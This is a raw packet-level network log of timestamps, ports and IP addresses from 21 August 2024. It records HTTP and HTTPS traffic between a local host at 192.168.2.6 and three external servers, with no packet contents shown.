Aug 21, 2024 08:32:16.226236105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226248026 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226264000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226280928 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226301908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226310968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226319075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226326942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226350069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226355076 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226357937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226366997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226387024 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226407051 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226577997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226591110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226600885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226605892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226612091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226617098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226634026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226644993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226672888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226735115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226743937 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226782084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226794004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226802111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226809978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226818085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226823092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226834059 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226854086 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226861954 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.226978064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226984024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226990938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.226995945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227001905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227008104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227019072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227030993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.227072001 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.227170944 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.227188110 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.227245092 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.227247953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227251053 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.227257013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227260113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227266073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227272034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227298975 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.227319002 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.227328062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.227343082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227349043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227365017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227370977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227380037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227385998 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.227387905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227396965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227405071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227416992 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.227438927 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.227523088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.227565050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.229167938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.229191065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.229202032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.229247093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.229249954 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.229253054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.229264021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.229270935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.229294062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.229310036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.238780975 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.238796949 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.238997936 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.239012957 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.239113092 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.242146969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.242161036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.242171049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.242218971 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.242244959 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.242466927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.242508888 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.242522001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.242536068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.242548943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.242573977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.242597103 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.256891966 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.256906986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.256917953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.256937981 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.256947994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.256964922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.256978035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.256982088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.256999969 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.257055998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.257086992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.257112980 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.257173061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.257180929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.257189035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.257196903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.257205009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.257220030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.257236004 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.257261992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.258157015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.258167028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.258174896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.258208036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.258217096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.258230925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.258239985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.258255959 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.258282900 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.258323908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.258373976 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.266705990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266717911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266733885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266772032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266781092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266793966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266803026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266815901 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.266851902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.266920090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266930103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266943932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266949892 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266959906 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266964912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266973019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266978025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266983032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.266994953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267004013 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267024994 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267043114 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267235041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267246962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267255068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267261982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267277002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267283916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267290115 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267299891 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267308950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267312050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267317057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267327070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267328024 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267348051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267364025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267412901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267492056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267501116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267517090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267524958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267538071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267544985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267556906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267561913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267561913 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267563105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267575026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267582893 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267586946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267590046 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267596960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267602921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267602921 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267608881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267616034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267659903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267659903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267858028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267869949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267878056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267884970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267899036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267906904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267920971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.267966032 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267966032 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267966032 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.267995119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268003941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268018961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268035889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268043041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268052101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268059969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268079996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268079996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268100977 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268280983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268287897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268300056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268305063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268311977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268320084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268345118 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268368006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268388033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268395901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268405914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268412113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268418074 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268429041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268435001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268440962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268449068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268450022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268467903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268507957 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268923044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268932104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268943071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268958092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268968105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268973112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268979073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268984079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268990040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.268990040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.268996000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269002914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269009113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269013882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269016981 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269016981 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269020081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269026995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269032955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269037008 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269037962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269043922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269051075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269083977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269083977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269119978 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269282103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269293070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269299984 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269308090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269315004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269329071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269337893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269345045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269347906 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269354105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269364119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269366026 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269377947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269385099 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269387007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269396067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269403934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269432068 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269464016 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269665956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269671917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269680023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269687891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269702911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269711018 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269718885 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269725084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269732952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269740105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269747019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269753933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269761086 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269764900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269772053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269778013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269781113 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269785881 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.269799948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269818068 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.269857883 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.270065069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.270072937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.270081997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.270088911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.270098925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.270106077 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.270112991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.270133972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.270159006 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.276457071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276478052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276494026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276550055 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.276592016 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.276623011 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276638985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276647091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276655912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276686907 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.276715994 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.276832104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276840925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276861906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276866913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276879072 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276899099 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.276931047 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.276931047 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.276963949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276969910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276976109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276982069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276988983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.276994944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.277014971 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.277044058 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.277163982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.277173042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.277187109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.277221918 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.277245045 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.294430017 CEST	80	49722	162.241.203.25	192.168.2.6
